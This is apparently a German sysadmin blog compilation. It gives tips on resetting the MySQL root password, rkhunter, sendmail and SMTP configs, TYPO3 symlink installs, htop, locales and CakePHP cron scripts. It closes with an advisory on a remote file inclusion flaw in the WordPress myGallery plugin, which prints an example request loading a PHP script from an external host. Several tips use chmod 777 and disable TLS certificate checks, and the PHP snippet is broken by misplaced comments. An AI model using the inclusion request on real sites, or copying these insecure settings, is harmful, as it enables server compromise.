Um das mySQL-Passwort für den "root"-User zurück- oder neu zu setzen, benötigt es einen kleinen Trick auf der Shell. Loggt euch dazu mit eurem Linux-User per SSH (z.B. per puTTY) ein und gebt euch per "sudo su" die Root-Rechte. Nachdem ihr euch die Root-Rechte übertragen habt, könnt ihr den mySQL-Server stoppen und mit einigen Zusatzparametern aufrufen, um euch mit dem Root-User des mySQL-Servers ohne Passworteingabe anzumelden.

Nun setzt ihr das Passwort für den Root-User über eine mySQL-Query neu und meldet euch wieder aus mySQL ab. Danach solltet ihr euch auch vom Root-User per SSH abmelden, damit ihr keine fehlerhaften Eingaben bereuen werdet.

mySQL Root-Benutzer Passwort ändern:

#Stoppe den MySQL Server.
sudo /etc/init.d/mysql stop
 
#Start der mysqld-Konfiguration.
sudo mysqld --skip-grant-tables &
 
#Login in MySQL als root-Benutzer ohne Passworteingabe.
mysql -u root mysql
 
#Ersetzte den Marker "DEINNEUESPASSWORT" mit deinem neuen Passwort!
UPDATE user SET Password=PASSWORD('DEINNEUESPASSWORT') WHERE User='root'; FLUSH PRIVILEGES; exit;

Nach dem Speichern der Konfiguration solltet ihr sicherheitshalber die rkhunter-Eigenschaften aktualisieren und den Scan erneut durchführen.
Im folgenden Beispiel wird ein Property-Update (--propupd) ohne Ausgabe (--sk) ausgeführt.

 
sudo rkhunter --update
sudo rkhunter --propupd --sk

Bei der Konfiguration von rkhunter solltet ihr dennoch vorsichtig vorgehen, denn gerade beim Erlauben von versteckten Ordnern wird grundsätzlich eine Sicherheitslücke erzeugt.
Erkundigt euch lieber vorher im Netz, was diese versteckten Ordner und Dateien ausführen, bevor ihr dem Rootkit Hunter mitteilt, dass diese Ordner und Dateien beim Scan ignoriert bzw. erlaubt werden dürfen.

[rkhunter] Warnings found for SERVER
Running Rootkit Hunter version 1.3.6
[12:53:44] Checking for hidden files and directories [ Warning ]
[12:53:44] Warning: Hidden directory found: /dev/.static
[12:53:44] Warning: Hidden directory found: /dev/.udev
[12:53:44] Warning: Hidden directory found: /dev/.initramfs

Für einen Webentwickler ist der E-Mailversand dennoch ein elementarer Bestandteil bei der Entwicklung von Internetauftritten. Beispielsweise werden E-Mails durch ein Kontaktformular versandt oder bei der Registrierung eines Benutzers, werden die Double-Opt-In E-Mails zur Aktivierung, etc. versandt. Wer die Softwarepakete "XAMPP" unter Windows nutzt, hat die Möglichkeit MercuryMail oder Sendmail zu konfigurieren. Bis allerdings MercuryMail eingerichtet ist, ist es oft schneller mit einem externen Dienstleister, wie beispielsweise All-Inkl.com, getan. Wer einen Shared-Server bei All-Inkl.com besitzt und eh ein Postfach dort eingerichtet hat, kann über das E-Mailpostfach kinderleicht E-Mails versenden. So wird PHP später über Sendmail und dem externen SMTP-Server die E-Mails an die entsprechenden Empfänger versenden und erfolgreich zugestellt, da der Relay-Host (Mailserver) korrekt aufgelöst werden kann und auch in den Whitelists der großen Provider steht.

Ein kleines HowTo zur Einrichtung von Sendmail gibt es hier.
Die Einrichtung von Sendmail basiert auf der XAMPP Version 1.7.3.
Bei den Pfaden gehen wir davon aus, dass XAMPP unter C:\xampp\ zur Verfügung steht.

Sendmail.ini: C:\xampp\sendmail\sendmail.ini
PHP.ini: C:\xampp\php\php.ini

Konfiguration der sendmail.ini für SMTP-Dienst für all-inkl.com

defaults
logfile "C:\xampp\sendmail\sendmail.log"
 
#allinkl
account allinkl
tls on
tls_certcheck off
host smtp.domain.tld
from mail@domain.tld
auth on
user m0xxxxx
password xxxxxx
 
# Set a default account
account default : allinkl

Konfiguration mit Hotmail:

defaults
logfile "C:\xampp\sendmail\sendmail.log"
 
# A freemail service example
account Hotmail
tls on
tls_certcheck off
host smtp.live.com
from exampleuser@hotmail.com
auth on
user exampleuser@hotmail.com
password examplepassword
 
# Set a default account
account default : Hotmail

Konfiguration mit GMX:

defaults
logfile "C:\xampp\sendmail\sendmail.log"
 
# A freemail service GMX
account gmx
tls on
tls_certcheck off
host smtp.gmx.net
from exampleuser@gmx.de
auth on
user exampleuser@gmx.de
password examplepassword
 
# Set a default account
account default : gmx

Des Weiteren müsst ihr in der php.ini die Zeilen mit "sendmail" anpassen und freischalten.

sendmail_path = "C:\xampp\sendmail\sendmail.exe -t"

SMTP = localhost

smtp_port = 25

sendmail_from = no-reply@domain.de

Sind alle Konfigurationen durchgeführt, vergesst euren Apache-Dienst nicht neuzustarten. Ohne Neustart werden die Änderungen nicht wirksam.

Die Fehlerausgabe des täglichen Cronjobs (Cron Deamon) lautet unter Debian 6 (Squeeze):
From: Cron Deamon
Subject: Cron /etc/webmin/virtual-server/sendratings.pl (failed)
Body: Failed to run /usr/share/webmin/virtual-server/sendratings.pl : Datei oder Verzeichnis nicht gefunden at /etc/webmin/virtual-server/sendratings.pl line 11.

Ein vorübergehender Workaround ist lediglich das Abschalten des Cronjobs über den Cronjobmanager von Webmin oder per SSH-Zugang über "crontab -e" und dann das ausblenden des Cronjobs.

TYPO3 Framework und CMS

Die Voraussetzung für das Umwandeln einer TYPO3 Installation zu einer Symlink-TYPO3-Installation, ist der Shell-Zugriff auf die entsprechende Linux-Distribution. Es muss ein Shell-User vorliegen, welcher ZIP-Archive entpacken, Dateien kopieren, löschen, und bearbeiten kann und Symlinks erstellen darf. Sind diese Voraussetzungen nicht gegeben, so wende dich  bitte an den Serveradministrator oder erweitere dein Webhosting-Paket auf einen Webhosting/Managed-Server mit SSH-Zugriff.

TYPO3 Source herunterladen und entpacken

Zu Beginn der TYPO3-Installation kann in dem Document-Root des Users (FTP-/Shell-User) der TYPO3 Source heruntergeladen und mittels „Zip“ entpackt werden. Um die TYPO3-Source Installation für mehrere Accounts (Webprojekte) zugänglich zu machen, sollte auf dem Server ein Verzeichnis gewählt werden, welches sich nicht im „/home/*“ oder /public_html“ befindet. Eine Möglichkeit wäre das Verzeichnis „/var/www/“ oder „/srv/www/“ für den TYPO3 Source. Auf dieses Verzeichnis haben alle angelegten User unter Linux Zugriff und können durch einen Symlink auf den TYPO3 Source zugreifen.

Wählen wir z.B. das Verzeichnis „/var/www/“ für unseren TYPO3 Source, so wechseln wir mittels „cd /var/www/“ in das Verzeichnis und laden mittels „wget“ den aktuellen TYPO3 Source herunter. Der aktuelle Source wird auf http://typo3.org/download/packages/ angeboten. Aktuell ist die TYPO3 Version 4.5.0 und kann über den Link herunter geladen werden. Wurde der Source erfolgreich mit „wget http://heanet.dl.sourceforge.net/project/typo3/TYPO3%20Source%20and%20Dummy/TYPO3%204.5.0/typo3_src-4.5.0.zip „ auf den Server transferiert, so kann das ZIP-Archiv entpackt werden.

Entpacken des TYPO3 4.5.0 Source (ZIP)-Archivs
unzip typo3_src-4.5.0.zip

In dem Verzeichnis „/var/www/“ befindet sich nun ein Ordner „typo3_src-4.5.0“, welcher später mit den Symlinks verknüpft wird. Falls ihr unsicher seid, wo ihr euch aktuell befindet, könnt ihr mit dem Befehl (SSH-Command) namens „pwd“ das aktuelle Verzeichnis ermitteln.

Linux-Symlinks auf den aktuellen TYPO3 Source erzeugen

Nun wechselt ihr zurück in euer Home-Verzeichnis des Users, indem ihr den Befehl „cd ~“ in eurem SSH-Terminal eingebt und bestätigt. Danach wechselt ihr noch in eurer „public_html“ oder „htdocs“-Ordner mit „cd public_html“ oder „cd htdocs“ und erstellt eure Symlinks zum TYPO3 Source, um im Anschluss mit der eigentlichen TYPO3 Installation zu beginnen.

Um bei der Symlink-Erstellung mit dem Befehl „ln“ sicher zu gehen, dass er am richtigen Ort erzeugt wird, solltet ihr mit absoluten Pfadangaben arbeiten. Ihr gebt folgende Daten bei „ln“ an. „ln –s TYPO3_SOURCE_DIR/ USER_HOME_DIR_PUBLIC_HTML/” Erst die Quelle, dann das Ziel. In unserem Fall gebe ich mit „~/“ an, dass der Symlink im aktuellen Homeverzeichnis des Users im Unterordner „public_html/“ erzeugt werden soll.

Wir benötigen folgende Struktur in unserem Verzeichnis:
- index.php (File)
- typo3 (Directory)
- misc (Directory)
- t3lib (Directory)

Erzeugen der Symlinks zum TYPO3-Source
ln -s /var/www/typo3_src-4.5.0/index.php / ~/public_html/index.php
ln -s /var/www/typo3_src-4.5.0/typo3 ~/public_html/typo3
ln -s /var/www/typo3_src-4.5.0/misc ~/public_html/misc
ln -s /var/www/typo3_src-4.5.0/t3lib ~/public_html/t3lib

Nach dem Erstellen der Symlinks, sollten wir in unserem User-Verzeichnis schauen, ob die Symlinks auch richtig angelegt wurden. Mit dem Befehl „ls –l“ schauen wir uns das Verzeichnis „public_html“ an. Sind die Symlinks vorhanden, sollten wir im Anschluss noch den „typo3temp“-Ordner erstellen, welcher von TYPO3 für das Caching verwendet wird. Danach geben wir dem Ordner die Zugriffsrechte (0777) für den Apache zum Schreiben, Lesen und Löschen von Inhalten in dem Ordner.

Erstellen des TYPO3-Temp Ordners
mkdir ~/public_html/typo3temp
chmod 777 ~/public_html/typo3temp

Wir haben soweit alle Vorbereitungen getroffen und können mit der TYPO3 Installation beginnen. Wir rufen nun über unseren Browser z.B. folgende Adresse auf, um die Step by Step-Installation zu beginnen. http://www.yourdomain.de/typo3/install/
Wird diese Seite aufgerufen, kann es vorkommen, dass die Information erscheint, dass im Ordner „typo3conf“ eine leere Datei mit dem Namen „ENABLE_INSTALL_TOOL“ erstellt werden soll. Um dieser Information nach zu gehen, gehen wir folgendermaßen vor.

Datei „ENABLE_INSTALL_TOOL“ erstellen
mkdir ~/public_html/typo3conf
chmod 777 ~/public_html/typo3conf
touch  ~/public_html/typo3conf/ ENABLE_INSTALL_TOOL

Nach dem Erstellen des Ordners und der Datei, musst du die Seite der TYPO3 Installation erneut aufrufen. http://www.yourdomain.de/typo3/install/

Was tun bei einem TYPO3 Update? – neue Versionsnummer veröffentlicht

Update einer Symlink TYPO3 Installation auf die neue TYPO3 Versionsnummer

Erscheint eine neue TYPO3 Version, z.B. TYPO3 4.5.1, so muss kein großer Aufwand betrieben werden. Da wir eine „Multiple-Installation“ erstellt haben und mit wenigen Klicks diverse TYPO3-Projekte auf dem Server aktualisieren können, müssen lediglich die Symlinks aktualisiert werden. Wir laden den neuen TYPO3-Source wieder in unser Verzeichnis „/var/www/“ herunter und entpacken das ZIP-Archiv. Wir haben nun einen neuen Ordner mit z.B. dem Namen „typo3_src-4.5.1“. Dieser muss nur noch bei den bestehenden TYPO3-Projekten als Symlink eingetragen werden und wir haben die grundlegende Aktualisierung der TYPO3-Projekte abgeschlossen. Kurz: Wir teilen uns einen TYPO3-Source mit mehreren TYPO3-Installation bzw. Projekten.  Der einfache Weg zur Aktualisierung der bestehenden Symlinks ist jener, die bestehenden Symlinks zu entfernen (Befehl: unlink) und die neuen Symlinks zum neuen TYPO3-Source zu erstellen. Wie Symlinks zu erstellen sind, wird weiter oben beschrieben oder schaue in die Manpage von „ln“ (Befehl: man ln).

Um den E-Mailversand bei neuen Tickets zu gewährleisten, bietet sich der GoogleMail-SMTP-Server (Using GMail as the SMTP relay host) an.
Die Konfiguration des externen SMTP-Servers von GoogleMail ist kinderleicht. Auch die Entwickler des Ticketsystems "TRAC" haben in ihren Anleitungen auf die Nutzung von GoogleMail als SMTP relay host hingewiesen. Zu beachten ist, dass bei dem SMTP-Port die "587" verwendet wird und nicht "465" oder "25". Ebenfalls muss "use_tls" auf "true" gesetzt werden, um eine sichere Verbindung zum GoogleMail-STMP-Server herzustellen.

Beispiel für TracNotification in der "trac.ini"-Konfigurationsdatei für trac 0.12 (stable):
[notification]
admit_domains =
always_notify_owner = true
always_notify_reporter = true
always_notify_updater = true
ambiguous_char_width = single
email_sender = SmtpEmailSender
ignore_domains =
mime_encoding = base64
smtp_always_bcc =
smtp_always_cc =
smtp_default_domain =
smtp_enabled = true
smtp_from ={emailname}@gmail.com
smtp_from_name = [TRAC] {sendername}
smtp_password = {password}
smtp_port = 587
smtp_replyto = {emailname}@gmail.com
smtp_server = smtp.gmail.com
smtp_subject_prefix = __default__
smtp_user = {emailname}@gmail.com
ticket_subject_template = $prefix #$ticket.id: $summary
use_public_cc = false
use_short_addr = false
use_tls = true


Linux Package - htop - Ausgabe von Linux-Prozessen

Das lästige Suchen nach den Parametern, die der Prozess ausführt hat ein Ende, denn das Linux Package "htop" liefert alle Command und Parameter aus. So kann problemlos nachvollzogen werden, mit welchen Informationen der Prozess/Dienst aktuell ausgeführt wird. Zudem wird ermöglicht mit der "F9"-Taste einen ausgewählten Prozess/Dienst direkt zu killen. Es muss kein "ps aux | grep filterbegriff" ausgeführt werden, um die Prozess-ID herauszufiltern und per "kill -p 11111"  zu beenden. Der Prozess lässt sich in "htop" direkt mit den Pfeiltasten auswählen und mit dem KILL-Befehl (Shortcut F7) beenden.
Lästige Fehlinformationen zur Speicherauslatung (Mem), gehören in "htop" ebenfalls der Vergangenheit an.

Um sich lästige Arbeiten und Filter ersparen möchte, sollte sich mit dem Linux Package "htop" beschäftigen.

Installation unter Debian Lenny:
apt-get update
apt-get install htop

Nach der Installation folgenden Befehl im Terminal eingeben und bestätigen:
htop

Weitere Informationen zu "htop - an interactive process viewer for Linux" findet ihr auf der Entwicklerseite und im Linux-Wiki:

• htop.sourceforge.net
• linuxwiki.de

Ein einfacher und schneller Weg ist die erneute Konfiguration der "locale" Umgebung mittels "dpkg-reconfigure locales". Der Paketverwalter "dpkg" für Debian ermöglicht das erneute Konfigurieren der Sprachumgebung, bzw. Systemumgebung für das gesamte Debian (lenny)-Betriebssystem.

Wie kann die aktuelle Sprachumgebung ermittelt werden?
Mit dem Befehl locale wird abgefragt, welcher Zeichensatz gerade am System (z.B. Debian (lenny)) aktiv ist.
Die Ausgabe sollte so aussehen:

myserver:~# locale
LANG=en_US.UTF-8
LC_CTYPE="en_US.UTF-8"
LC_NUMERIC="en_US.UTF-8"
LC_TIME="en_US.UTF-8"
LC_COLLATE="en_US.UTF-8"
LC_MONETARY="en_US.UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_PAPER="en_US.UTF-8"
LC_NAME="en_US.UTF-8"
LC_ADDRESS="en_US.UTF-8"
LC_TELEPHONE="en_US.UTF-8"
LC_MEASUREMENT="en_US.UTF-8"
LC_IDENTIFICATION="en_US.UTF-8"
LC_ALL=

Wir sehen, dass die "default" Sprachumgebung unseres Debian (lenny)-Systems auf "en_US.UTF-8" eingestellt ist.
Dies hat zur Folge, dass alle Umlaute und Sonderzeichen aus dem deutschen Sprachgebrauch kryptisch oder fehlerhaft ausgegeben werden können.
Wie auch zu Beginn angesprochen, werden die Monatsnamen via Apache/PHP über die Systemumgebung ermittelt und ausgegeben.

Mit folgendem Befehl können wir die Zeichensätze neu konfigurieren: dpkg-reconfigure locales.
Es folgt ein Dialog in dem die neuen Zeichensätze ausgewählt werden müssen. Ist die Konfiguration abgeschlossen, müsst ihr euch mit eurem SSH-Terminal (z.B. PuTTY) neu verbinden, folglich eine neue Session starten. - Denn erst dann wird auch die Sprachumgebung neu geladen.

Eure Ausgabe sollte nun wie folgt aussehen:

myserver:~$ locale
LANG=de_DE.UTF-8
LC_CTYPE="de_DE.UTF-8"
LC_NUMERIC="de_DE.UTF-8"
LC_TIME="de_DE.UTF-8"
LC_COLLATE="de_DE.UTF-8"
LC_MONETARY="de_DE.UTF-8"
LC_MESSAGES="de_DE.UTF-8"
LC_PAPER="de_DE.UTF-8"
LC_NAME="de_DE.UTF-8"
LC_ADDRESS="de_DE.UTF-8"
LC_TELEPHONE="de_DE.UTF-8"
LC_MEASUREMENT="de_DE.UTF-8"
LC_IDENTIFICATION="de_DE.UTF-8"
LC_ALL=

Da die Kunden nicht immer über einen Managed- oder RootServer verfügen, ist es kaum möglich mit der CakePHP-Console zu arbeiten. Über die CakePHP-Console lassen sich Models, Views, Controller und auch die wichtigen Shells entwickeln.

Eine Shell ist dazu da, um kommandozeilenbaiserende Skripte zu schreiben, diese aber vom Benutzer entfernt bleiben.
Wie oben bereits angesprochen, z.B. die Datenvalidierung oder ein nächtlicher Export von Datensätzen als CSV-Datei.
Ein Export der Datenbank kann u.a. bei APIs oder Shopsystemen sehr vorteilhaft sein.

Um auch die CakePHP-Shell auf einem Shared-Host / Shared-Server via HTTP-Request ausführen zu können,
muss der PHP-Befehl "exec()" aktiviert sein. Darüber lassen sich in einem PHP-Skript diverse Kommandozeilen starten.

In unserem Fall auch die CakePHP-Shell und das als HTTP-Request.
Natürlich ist es wichtig, dass ihr eure PHP-Skripte dementsprechend vor Fremdeingriffe schützt.
Eine .htaccess Authentifizierung oder PHP_AUTH-Methode wäre hier angebracht. Viele Cronjob-Dienste können die HTTP-Requests auch mit einem Benutzernamen und Passwort übersenden. Das PHP-Modul cUrl macht es möglich.

Wie führe ich die CakePHP-Shell in einem PHP-Skript aus?
Beim Hoster all-inkl muss der exec()-Befehl vorher durch eine .htaccess mit " AddHandler php-fastcgi .php" Datei freigeschaltet werden.

Die Cronjob.php-Datei legt ihr in das Verzeichnis "/app/webroot/_cronjob/" ab.
Den Ordner "_cronjob" müsst ihr vorher anlegen. - Darin wird auch die "log.txt" geschrieben.

Bei " here_comes_the_vendors_shell_file" wird die CakePHP-Shell-Datei angegeben. Z.B.: csv_export, diese im Verzeichnis /app/vendors/shells/csv_export.php" liegt.

<?php
$app_dir = dirname(dirname(dirname(__FILE__))); // app Path
$cake_dir = dirname(dirname(dirname(dirname(__FILE__)))); // cake-core Path
$logfile = $app_dir."/webroot/_cronjobs/log.txt"; // Log-File Path define(RECEIVER,'email@domain.de');
define(EMAIL_SUBJECT, 'CakePHP SHELL Cronjob');

$command = "php ".$cake_dir."/cake/console/cake.php -app ".$app_dir."/ -core ".$cake_dir."/cake/ -i cake here_comes_the_vendors_shell_file > ".$logfile; // exec command with cakephp-shell exec($command);

// get log.txt content for e-mail-body
$msg = file_get_contents($logfile);
mail(RECEIVER,EMAIL_SUBJECT,$msg); // send mail to defined receiver
?>

Die Ausgabe der Shell wird in eine Datei umgelenkt und bei jedem Aufruf neu geschrieben.
Eine E-Mail an einen oben definierten Empfänger wird mit genau diesem Inhalt verschickt.

Wie führe ich die CakePHP-Shell auf einem Managed- oder RootServer aus?
Hierzu gibt es eine sehr ausführliche Dokumentation auf book.cakephp.org.

Das Galerieplugin namens "myGallery" von wildbits hat eine große Sicherheitslücke im System.
Es lassen sich per Url über die GET-Variable "myPath" eine externe Url einbinden, diese dann ausgeführt wird.
Die externe Url benötigt nur ein Skript, welches als Text (txt)-Datei abgespeichert wird und mit "<?php" beginnt.
Schon wird die externe Datei ausgeführt und es können Spammails versendet werden und auch serverseitige Sicherheitslücken ausgenutzt werden, um den Server auszuschalten oder Daten zu löschen.

Wer "myGallery" als Plugin noch mit einer Version unter 1.4b5 verwendet, sollte schleunigst updaten,
ansonsten wird man selbst ein Opfer der Exploids / Angriffe über externe und aufgeruffene Internetadressen.

Wordpress myGallery Plugin Version 1.4b10

Es wird folgende Adresse versucht zu öffnen:

wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://domain.de/ordner/file.txt

Ab der myGallery-Version 1.4.b5 ist das externe Aufrufen von Skripts unterbunden worden.

Also schleunigst die "myGallery"-Plugins in euren WordPress-Blogs aktualisieren.

Ein paar Fragen und Tipps zum Thema findet ihr auch hier:

• WordPress Forum